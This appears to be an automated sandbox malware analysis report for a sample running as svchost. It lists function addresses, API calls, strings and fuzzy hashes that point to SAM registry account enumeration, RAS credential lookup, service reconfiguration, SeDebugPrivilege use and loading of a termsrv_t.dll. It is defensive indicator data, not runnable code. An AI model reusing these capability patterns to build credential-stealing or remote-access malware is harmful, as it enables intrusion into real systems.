Opcode Fuzzy Hash: ebb4aac17a1a3a0ab83a63b2ce3d5615584423548396633eb170091a55ad9d99
Instruction Fuzzy Hash: C11191717C031573E51073B1AC87FE73A188B94B48F544426BA04951D2EAED95E4827E

Function 0040C950 Relevance: 19.6, APIs: 13, Instructions: 74COMMON

Download Yara Rule

APIs

ReleaseDC.USER32(?,?), ref: 0040C988
DeleteDC.GDI32(?), ref: 0040C998
DeleteDC.GDI32(?), ref: 0040C99E
DeleteDC.GDI32(?), ref: 0040C9A4
DeleteDC.GDI32(?), ref: 0040C9AD
DeleteObject.GDI32(?), ref: 0040C9B9
DeleteObject.GDI32(?), ref: 0040C9BF
DeleteObject.GDI32(?), ref: 0040C9C8
??3@YAXPAX@Z.MSVCRT ref: 0040C9D2
??3@YAXPAX@Z.MSVCRT ref: 0040C9DE
??3@YAXPAX@Z.MSVCRT ref: 0040C9E7
??3@YAXPAX@Z.MSVCRT ref: 0040C9F0
DestroyCursor.USER32(00000000), ref: 0040CA16

Memory Dump Source

Source File: 0000001D.00000002.4094156194.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.4093845530.0000000000400000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094491017.000000000041C000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094694706.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_svchost.jbxd

Similarity

API ID: Delete$??3@$Object$CursorDestroyRelease
String ID:
API String ID: 2735177900-0
Opcode ID: 9486e7c6be9aee73992dd693d3190c932110ed2e0c68265649865e6a7dea3234
Instruction ID: 52f3f4d51dd927a0dd1fa8e614a2a7db7bd14acf618f642e3d7301e51363d720
Opcode Fuzzy Hash: 9486e7c6be9aee73992dd693d3190c932110ed2e0c68265649865e6a7dea3234
Instruction Fuzzy Hash: A621FAB26107009BD720EBA9DC80B97F3E9FF88714F158D2EE59683750DB79E8448B94

Function 00411DE0 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 69stringmemorylibraryCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00411DF5
GetSystemDirectoryA.KERNEL32(?,00000104), ref: 00411E0B
lstrcatA.KERNEL32(?,?), ref: 00411E1E
LocalAlloc.KERNEL32(00000040,00000400), ref: 00411E2B
GetFileAttributesA.KERNEL32(?), ref: 00411E3B
LoadLibraryA.KERNEL32(?), ref: 00411E4E
lstrlenA.KERNEL32(?,?), ref: 00411E69
lstrlenA.KERNEL32(?), ref: 00411E89
LocalReAlloc.KERNEL32(00000000,00000003,00000042), ref: 00411E93
LocalFree.KERNEL32(00000000), ref: 00411EA7

Strings

\termsrv_t.dll, xrefs: 00411DEB

Memory Dump Source

Source File: 0000001D.00000002.4094156194.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.4093845530.0000000000400000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094491017.000000000041C000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094694706.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_svchost.jbxd

Similarity

API ID: Local$Alloclstrlen$AttributesDirectoryFileFreeLibraryLoadSystemlstrcatwsprintf
String ID: \termsrv_t.dll
API String ID: 2807520882-1337493607
Opcode ID: 2414b5a653f160c11e15885980e10be542afa79dd4e64c0674cf69c3722cdd8a
Instruction ID: 05c27e571cea8acd1983a01bfa50ace96e97a26b23719d491fa0ec4281b5272c
Opcode Fuzzy Hash: 2414b5a653f160c11e15885980e10be542afa79dd4e64c0674cf69c3722cdd8a
Instruction Fuzzy Hash: 16213B71140301AFC710DFA0DC89EEB7BA8EF85710F00C92DFA5593191D7349549CB69

Function 00409270 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 69stringfileCOMMON

Download Yara Rule

APIs

GetSystemDirectoryA.KERNEL32(?,00000104), ref: 00409284
lstrcatA.KERNEL32(?,\MODIf.html,?,00000000), ref: 00409294
CreateFileA.KERNEL32(?,40000000,00000002,00000000,00000004,00000080,00000000,?,00000000), ref: 004092B1
GetFileSize.KERNEL32 ref: 004092C4
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002), ref: 004092D8
lstrlenA.KERNEL32(?), ref: 004092E6
??2@YAPAXI@Z.MSVCRT ref: 004092EF
lstrlenA.KERNEL32(?,?,00000000,00000000), ref: 00409315
WriteFile.KERNEL32(00000000,00000000,00000000), ref: 0040931E
CloseHandle.KERNEL32(00000000), ref: 00409325

Strings

\MODIf.html, xrefs: 0040928E

Memory Dump Source

Source File: 0000001D.00000002.4094156194.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.4093845530.0000000000400000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094491017.000000000041C000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094694706.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_svchost.jbxd

Similarity

API ID: File$lstrlen$??2@CloseCreateDirectoryHandlePointerSizeSystemWritelstrcat
String ID: \MODIf.html
API String ID: 1365335203-2523469999
Opcode ID: b87311ccf0c55f3d5eeee418bb9b541687ab1e7c35678ff124c0d17581b8e9f3
Instruction ID: dd8800d839664d7b320e0327a76d68959763a9a116c498d056913958b91af70c
Opcode Fuzzy Hash: b87311ccf0c55f3d5eeee418bb9b541687ab1e7c35678ff124c0d17581b8e9f3
Instruction Fuzzy Hash: 2211EE711C43147BF3205B60AC8AFEB3B5CDB49B11F104524FA82A51D2D67598448B69

Function 0040B4B0 Relevance: 18.2, APIs: 12, Instructions: 193registrymemoryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(80000002,?,00000000,000F013F,?), ref: 0040B4CE
RegQueryInfoKeyA.ADVAPI32(?,00000000,00000000,00000000,00000000,?,00000000,?,?,?,00000000,00000000), ref: 0040B500
LocalAlloc.KERNEL32(00000040,?), ref: 0040B53D

Memory Dump Source

Source File: 0000001D.00000002.4094156194.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.4093845530.0000000000400000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094491017.000000000041C000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094694706.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_svchost.jbxd

Similarity

API ID: AllocInfoLocalOpenQuery
String ID:
API String ID: 2864171124-0
Opcode ID: 1043486f47f3a65aa03eabe3341e8d6cfa5bca5947d2bc615bb4d1346cd7c046
Instruction ID: 955bc8cba09384e28816f05f17e3952b2d3fb0df06cdf8039459d419fc929717
Opcode Fuzzy Hash: 1043486f47f3a65aa03eabe3341e8d6cfa5bca5947d2bc615bb4d1346cd7c046
Instruction Fuzzy Hash: 0B517AB1644304AFC314DF29DC80AABBBE9EBC8754F04892EF54A97340D735DA05CB9A

Function 00409790 Relevance: 18.1, APIs: 12, Instructions: 69stringprocessCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 00409798
??2@YAPAXI@Z.MSVCRT ref: 004097A4
Process32First.KERNEL32(00000000,00000000), ref: 004097B6
GetLastError.KERNEL32(00000000,00000000), ref: 004097BF
_strupr.MSVCRT ref: 004097D2
_strupr.MSVCRT ref: 004097DC
strstr.MSVCRT ref: 004097E5
Process32Next.KERNEL32(00000000,00000000), ref: 004097FD
_strupr.MSVCRT ref: 00409807
_strupr.MSVCRT ref: 00409811
strstr.MSVCRT ref: 0040981A
Process32Next.KERNEL32(00000000,00000000), ref: 00409828

Memory Dump Source

Source File: 0000001D.00000002.4094156194.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.4093845530.0000000000400000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094491017.000000000041C000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094694706.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_svchost.jbxd

Similarity

API ID: _strupr$Process32$Nextstrstr$??2@CreateErrorFirstLastSnapshotToolhelp32
String ID:
API String ID: 3005159451-0
Opcode ID: 09d2ec9155380ce188e2a1a8e0fedcdef85b3ab817060a6145e8d1d21d48d92e
Instruction ID: 88574d572660aa525cbae90d62e6b7ce37f60d4e3cb1f97db32223fdd4c73697
Opcode Fuzzy Hash: 09d2ec9155380ce188e2a1a8e0fedcdef85b3ab817060a6145e8d1d21d48d92e
Instruction Fuzzy Hash: 2201A5F390120522E62036772C87AEB664CCF81B99F04803AFC09E1283FA1DEC5541BA

Function 00410D70 Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 97registrysleepCOMMON

Download Yara Rule

APIs

NetUserDel.NETAPI32(00000000,00000000), ref: 00410D96
wsprintfA.USER32 ref: 00410DDA
RegOpenKeyA.ADVAPI32(80000002,?,?), ref: 00410DFA
Sleep.KERNEL32(00000032), ref: 00410E06
RegQueryValueExA.ADVAPI32 ref: 00410E33
RegCloseKey.ADVAPI32(QB), ref: 00410E3E
wsprintfA.USER32 ref: 00410E53

Part of subcall function 004108B0: LocalSize.KERNEL32(00000000), ref: 004108C0
Part of subcall function 004108B0: LocalFree.KERNEL32(00000000,?,00410D52,00000000,00000000,00000001,?,?), ref: 004108D0

Strings

SAM\SAM\Domains\Account\Users\Names\%s, xrefs: 00410DD4
QB, xrefs: 00410E39, 00410E3D
%08X, xrefs: 00410E4D

Memory Dump Source

Source File: 0000001D.00000002.4094156194.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.4093845530.0000000000400000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094491017.000000000041C000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094694706.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_svchost.jbxd

Similarity

API ID: Localwsprintf$CloseFreeOpenQuerySizeSleepUserValue
String ID: %08X$SAM\SAM\Domains\Account\Users\Names\%s$QB
API String ID: 4084116708-1161448995
Opcode ID: 4e997039cec5fd107000ab1eadd97200c78e407044601f7dbdbca4f732ff0015
Instruction ID: 6e81bd7884f73e22f33f2d297ba206330351be96731fbaabc8ae6b1bcd13e657
Opcode Fuzzy Hash: 4e997039cec5fd107000ab1eadd97200c78e407044601f7dbdbca4f732ff0015
Instruction Fuzzy Hash: 1A21EA713443016BE210EB65EC81FFF77A8DBD4718F00093EFA4191281E678D98986AF

Function 00406EC0 Relevance: 16.6, APIs: 11, Instructions: 136stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(?), ref: 00406EF1
malloc.MSVCRT ref: 00406EF9
lstrcpyA.KERNEL32(00000000,?), ref: 00406F10
CharNextA.USER32(00000002), ref: 00406F3C
CharNextA.USER32(00000002), ref: 00406F5A
GetFileAttributesA.KERNEL32(00000000), ref: 00406F9E
CreateDirectoryA.KERNEL32(00000000,00000000), ref: 00406FAB
GetLastError.KERNEL32 ref: 00406FB5
CharNextA.USER32(00000000), ref: 00406FD3
free.MSVCRT(00000000), ref: 00406FE8
free.MSVCRT(00000000), ref: 00407012

Memory Dump Source

Source File: 0000001D.00000002.4094156194.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.4093845530.0000000000400000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094491017.000000000041C000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094694706.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_svchost.jbxd

Similarity

API ID: CharNext$free$AttributesCreateDirectoryErrorFileLastlstrcpylstrlenmalloc
String ID:
API String ID: 3289936468-0
Opcode ID: 5af9df1819d2f13285a353eca6072179d1e9032b9f8d3669b777201df89715cc
Instruction ID: d2a006a49163a0198eb9e39ba238de694a0042eb19555d3840b10fad7acd3085
Opcode Fuzzy Hash: 5af9df1819d2f13285a353eca6072179d1e9032b9f8d3669b777201df89715cc
Instruction Fuzzy Hash: 3B41F971C446569FC7218F28A8407ABBBA4AF4A760F15417BE8A2B33C1D37C18128B9D

Function 004067E0 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 157filememoryCOMMON

Download Yara Rule

APIs

malloc.MSVCRT ref: 00406809
GetWindowsDirectoryA.KERNEL32(?,00000104), ref: 0040682F
GetFileAttributesA.KERNEL32(?), ref: 00406891
CreateFileA.KERNEL32(?,80000000,00000000,00000000,00000003,00000080,00000000), ref: 004068B8
GetFileSize.KERNEL32(00000000,00000000), ref: 004068C7
VirtualAlloc.KERNEL32(00000000,00000000,00003000,00000004), ref: 004068DD
ReadFile.KERNEL32(?,00000000,?,00000151,00000000), ref: 00406901
CloseHandle.KERNEL32(?), ref: 0040690E

Strings

Main, xrefs: 00406944

Memory Dump Source

Source File: 0000001D.00000002.4094156194.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.4093845530.0000000000400000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094491017.000000000041C000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094694706.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_svchost.jbxd

Similarity

API ID: File$AllocAttributesCloseCreateDirectoryHandleReadSizeVirtualWindowsmalloc
String ID: Main
API String ID: 3795134205-521822810
Opcode ID: 111b20f5054e0a62e879eae8e97c983c996178337918207a5185f2b4caaf26ad
Instruction ID: fafd0f0c38e075acbe4b1826bd29831ee1c9ab28eb6c5cc9bd4feec9740fe62b
Opcode Fuzzy Hash: 111b20f5054e0a62e879eae8e97c983c996178337918207a5185f2b4caaf26ad
Instruction Fuzzy Hash: 0541F6717402002BD718DB74DC96BAB3299EB84720F18863EFE16DB3C1DEB89904C798

Function 0040D370 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 87servicesleepCOMMON

Download Yara Rule

APIs

Part of subcall function 0040D180: GetCurrentProcess.KERNEL32(00000028), ref: 0040D18A
Part of subcall function 0040D180: OpenProcessToken.ADVAPI32(00000000), ref: 0040D191

OpenSCManagerA.ADVAPI32(00000000,00000000,00000008), ref: 0040D391
OpenServiceA.ADVAPI32(00000000,?,00000002), ref: 0040D3C9
LockServiceDatabase.ADVAPI32(00000000), ref: 0040D3D2
ChangeServiceConfigA.ADVAPI32(00000000,000000FF,00000002,000000FF,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0040D418
UnlockServiceDatabase.ADVAPI32(00000000), ref: 0040D423
CloseServiceHandle.ADVAPI32(00000000), ref: 0040D430
CloseServiceHandle.ADVAPI32(00000000), ref: 0040D433
Sleep.KERNEL32(000000C8), ref: 0040D43A

Strings

SeDebugPrivilege, xrefs: 0040D37E, 0040D449

Memory Dump Source

Source File: 0000001D.00000002.4094156194.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.4093845530.0000000000400000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094491017.000000000041C000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094694706.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_svchost.jbxd

Similarity

API ID: Service$Open$CloseDatabaseHandleProcess$ChangeConfigCurrentLockManagerSleepTokenUnlock
String ID: SeDebugPrivilege
API String ID: 2207141857-2896544425
Opcode ID: 3ef998de9d346d9ad7c18b85ac1f0f30ca009e306c0a4226d135e00d8f6f9ac6
Instruction ID: 83d55be950fd17d8fc472ba0788abb5bb68fae0120429cf2f13f90c7911cbae4
Opcode Fuzzy Hash: 3ef998de9d346d9ad7c18b85ac1f0f30ca009e306c0a4226d135e00d8f6f9ac6
Instruction Fuzzy Hash: 86212E31BC020467D72497F89C4AFAB3F54D784721F14423AFE19A72C2DD785C0D866A

Function 0040D500 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 78servicesleepCOMMON

Download Yara Rule

APIs

Part of subcall function 0040D180: GetCurrentProcess.KERNEL32(00000028), ref: 0040D18A
Part of subcall function 0040D180: OpenProcessToken.ADVAPI32(00000000), ref: 0040D191

OpenSCManagerA.ADVAPI32(00000000,00000000,00000002), ref: 0040D521
OpenServiceA.ADVAPI32(00000000,?,00000034), ref: 0040D559
QueryServiceStatus.ADVAPI32(00000000,?), ref: 0040D567
StartServiceA.ADVAPI32(00000000,00000000,00000000), ref: 0040D58A
ControlService.ADVAPI32(00000000,00000001,?), ref: 0040D59D
CloseServiceHandle.ADVAPI32(00000000), ref: 0040D5AA
CloseServiceHandle.ADVAPI32(00000000), ref: 0040D5AD
Sleep.KERNEL32(000000C8), ref: 0040D5B4

Strings

SeDebugPrivilege, xrefs: 0040D50E, 0040D5C3

Memory Dump Source

Source File: 0000001D.00000002.4094156194.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.4093845530.0000000000400000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094491017.000000000041C000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094694706.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_svchost.jbxd

Similarity

API ID: Service$Open$CloseHandleProcess$ControlCurrentManagerQuerySleepStartStatusToken
String ID: SeDebugPrivilege
API String ID: 3878120848-2896544425
Opcode ID: b09efbc10bd7e71db1e68e073e6c83d61c8506febf41003ed6865345d9ae21b2
Instruction ID: f363a6ecb43476d81ac8e04711660ef06eb93821dfcdfa7db2cd616ae22d0525
Opcode Fuzzy Hash: b09efbc10bd7e71db1e68e073e6c83d61c8506febf41003ed6865345d9ae21b2
Instruction Fuzzy Hash: 7321EE317802147BE724ABF4EC4AFBF7A94EB88719F50453EFD06562C0D9B86D088569

Function 00412400 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 77sleeplibrarystringCOMMON

Download Yara Rule

APIs

atoi.MSVCRT ref: 00412430
GetSystemDirectoryA.KERNEL32(?,00000104), ref: 00412457
lstrcatA.KERNEL32(?,\termsrv_t.dll), ref: 00412469

Part of subcall function 00411F70: GetVersionExA.KERNEL32(00000000), ref: 00411F83

GetFileAttributesA.KERNEL32(?), ref: 0041247F
LoadLibraryA.KERNEL32(?), ref: 00412491
FreeLibrary.KERNEL32(00000000), ref: 0041249C
_CxxThrowException.MSVCRT(?,00421448), ref: 004124C7
Sleep.KERNEL32(000003E8), ref: 0041352E

Strings

\termsrv_t.dll, xrefs: 00412463

Memory Dump Source

Source File: 0000001D.00000002.4094156194.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.4093845530.0000000000400000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094491017.000000000041C000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094694706.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_svchost.jbxd

Similarity

API ID: Library$AttributesDirectoryExceptionFileFreeLoadSleepSystemThrowVersionatoilstrcat
String ID: \termsrv_t.dll
API String ID: 3938148649-1337493607
Opcode ID: a3d8b5c4165972faa379a41022fc842eae644efda26aebedd71c4ab33a9543eb
Instruction ID: 200551e4dd06df4016370820b46f17c2b8797dba0e3a06cad25c43b8ccb68d6a
Opcode Fuzzy Hash: a3d8b5c4165972faa379a41022fc842eae644efda26aebedd71c4ab33a9543eb
Instruction Fuzzy Hash: 1121F771A40214EBD720EB65DC45BDEB77CEB45B14F00426BF509D3280DBBC5A858AA8

Function 0040A360 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 69filestringCOMMON

Download Yara Rule

APIs

GetSystemDirectoryA.KERNEL32(?,00000104), ref: 0040A37B
lstrcatA.KERNEL32(?,\MODIf.html), ref: 0040A38B
CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000080,00000000), ref: 0040A3A6
GetFileSize.KERNEL32(00000000,00000000,00000035), ref: 0040A3B6
??2@YAPAXI@Z.MSVCRT ref: 0040A3BF
ReadFile.KERNEL32(00000000,00000000,00000000,?,00000000), ref: 0040A3D3
??3@YAXPAX@Z.MSVCRT ref: 0040A3F9
CloseHandle.KERNEL32(00000000), ref: 0040A403

Strings

\MODIf.html, xrefs: 0040A385

Memory Dump Source

Source File: 0000001D.00000002.4094156194.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.4093845530.0000000000400000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094491017.000000000041C000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094694706.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_svchost.jbxd

Similarity

API ID: File$??2@??3@CloseCreateDirectoryHandleReadSizeSystemlstrcat
String ID: \MODIf.html
API String ID: 464908389-2523469999
Opcode ID: 088a337099b5c7565b4cdf18a544089c95180c159e338bd725c5fec4e7f5bf70
Instruction ID: 5f92b90e0c3d8b001d39f646db90f7e974ff1f0587174d913261b291b2fe78ed
Opcode Fuzzy Hash: 088a337099b5c7565b4cdf18a544089c95180c159e338bd725c5fec4e7f5bf70
Instruction Fuzzy Hash: FB112BB11803407BD2205B75AC8DFEB3AACDBCA710F10493DF952D6281E979D508C765

Function 00414510 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 106COMMON

Download Yara Rule

APIs

Part of subcall function 00414430: CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 00414438
Part of subcall function 00414430: ??2@YAPAXI@Z.MSVCRT ref: 00414444
Part of subcall function 00414430: Process32First.KERNEL32(00000000,00000000), ref: 00414456
Part of subcall function 00414430: _strcmpi.MSVCRT ref: 00414468

OpenProcess.KERNEL32(00000400,00000000,00000000), ref: 00414575
OpenProcessToken.ADVAPI32(00000000,00000008,?), ref: 0041458F
GetTokenInformation.ADVAPI32(?,00000001(TokenIntegrityLevel),00000000,00000000,?), ref: 004145B5
??2@YAPAXI@Z.MSVCRT ref: 004145C2
GetTokenInformation.ADVAPI32(?,00000001(TokenIntegrityLevel),00000000,?,?), ref: 004145E4
??2@YAPAXI@Z.MSVCRT ref: 00414606
LookupAccountSidA.ADVAPI32(00000000,00000000,00000000,00000100,?,00000104,?), ref: 00414636

Strings

explorer.exe, xrefs: 00414539

Memory Dump Source

Source File: 0000001D.00000002.4094156194.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.4093845530.0000000000400000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094491017.000000000041C000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094694706.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_svchost.jbxd

Similarity

API ID: ??2@Token$InformationOpenProcess$AccountCreateFirstLookupProcess32SnapshotToolhelp32_strcmpi
String ID: explorer.exe
API String ID: 2062827286-3187896405
Opcode ID: 9ecc5d52fbb4a3ca12334cfb6dd963f38712b223c482a86c27143efe60af3bee
Instruction ID: 8cd090bee0d88cecc6a2eb7b03f8c81b44d674e4092eba6e8a2b963bd3884497
Opcode Fuzzy Hash: 9ecc5d52fbb4a3ca12334cfb6dd963f38712b223c482a86c27143efe60af3bee
Instruction Fuzzy Hash: 3B414DF1D41228AFDB10DF95ED85BEEBBB8EF48B14F10415AF519A3280D6745980CFA4

Function 00411CE0 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 67filestringCOMMON

Download Yara Rule

APIs

GetSystemDirectoryA.KERNEL32(?,00000104), ref: 00411D06
lstrcatA.KERNEL32(?,?), ref: 00411D15
CreateFileA.KERNEL32(?,40000000,00000002,00000000,00000003,00000080,00000000), ref: 00411D32
SetFilePointer.KERNEL32(00000000,?,?,00000000), ref: 00411D43
WriteFile.KERNEL32(00000000,?,?,?,00000000), ref: 00411D60
CloseHandle.KERNEL32(00000000), ref: 00411D67
LocalFree.KERNEL32(?), ref: 00411D97

Strings

p, xrefs: 00411D80

Memory Dump Source

Source File: 0000001D.00000002.4094156194.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.4093845530.0000000000400000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094491017.000000000041C000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094694706.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_svchost.jbxd

Similarity

API ID: File$CloseCreateDirectoryFreeHandleLocalPointerSystemWritelstrcat
String ID: p
API String ID: 3379061965-2181537457
Opcode ID: 2620dad132952b1124f95579c27154248252d3ec9c08425a1d47cf9531069940
Instruction ID: af528a88211eda802c5ef81feccdd95d1839d874b5212da3b1c7ccaefff0eef0
Opcode Fuzzy Hash: 2620dad132952b1124f95579c27154248252d3ec9c08425a1d47cf9531069940
Instruction Fuzzy Hash: DF21A171184305ABD300DF50DC85FDBB7E8FBC9705F008A1DF24597290D7B4AA098BA6

Function 0040FD10 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 56COMMON

Download Yara Rule

APIs

WTSQuerySessionInformationA.WTSAPI32(00000000,?,00000010,?,?,?,?,?,?,?), ref: 0040FD30
WTSFreeMemory.WTSAPI32(?,00000000,?,00000010,?,?,?,?,?,?,?), ref: 0040FD50
WTSFreeMemory.WTSAPI32(?,00000000,?,00000010,?,?,?,?,?,?,?), ref: 0040FD64
WTSFreeMemory.WTSAPI32(?,00000000,?,00000010,?,?,?,?,?,?,?), ref: 0040FD78
WTSFreeMemory.WTSAPI32(?,00000000,?,00000010,?,?,?,?,?,?,?), ref: 0040FD8B

Strings

ICA, xrefs: 0040FD5F
RDP, xrefs: 0040FD4B
Console, xrefs: 0040FD73

Memory Dump Source

Source File: 0000001D.00000002.4094156194.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.4093845530.0000000000400000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094491017.000000000041C000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094694706.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_svchost.jbxd

Similarity

API ID: FreeMemory$InformationQuerySession
String ID: Console$ICA$RDP
API String ID: 2964284127-2419630658
Opcode ID: 29a937f44db379fc72699f7d6f1532cf041b27c62a9b0bc4e901ad8d8630bd28
Instruction ID: d0399e3f103112857432ec4b1012cd48120b3d9a22be5902b3b012319a1485eb
Opcode Fuzzy Hash: 29a937f44db379fc72699f7d6f1532cf041b27c62a9b0bc4e901ad8d8630bd28
Instruction Fuzzy Hash: B601C0B2A0412157C610FA58BC419DBB6ACEE90B1AF44843FF944A6200D2398D18CBEE

Function 00405070 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 53COMMON

Download Yara Rule

APIs

LookupAccountNameA.ADVAPI32(00000000,?,?,?,?,?,?), ref: 004050B0

Strings

ConvertSidToStringSidA, xrefs: 004050E5
L$_RasDefaultCredentials#0, xrefs: 004050D7
advapi32.dll, xrefs: 004050D8

Memory Dump Source

Source File: 0000001D.00000002.4094156194.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.4093845530.0000000000400000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094491017.000000000041C000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094694706.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_svchost.jbxd

Similarity

API ID: AccountLookupName
String ID: ConvertSidToStringSidA$L$_RasDefaultCredentials#0$advapi32.dll
API String ID: 1484870144-3270869392
Opcode ID: bfcd67e2ae47caa7416350a499340a7d197e259b60ecc21483239d1da913b2f9
Instruction ID: 6e6a9c4446d1e5c727091892cfedc2c02806670e68d5919b95ac2f7a01e6bb86
Opcode Fuzzy Hash: bfcd67e2ae47caa7416350a499340a7d197e259b60ecc21483239d1da913b2f9
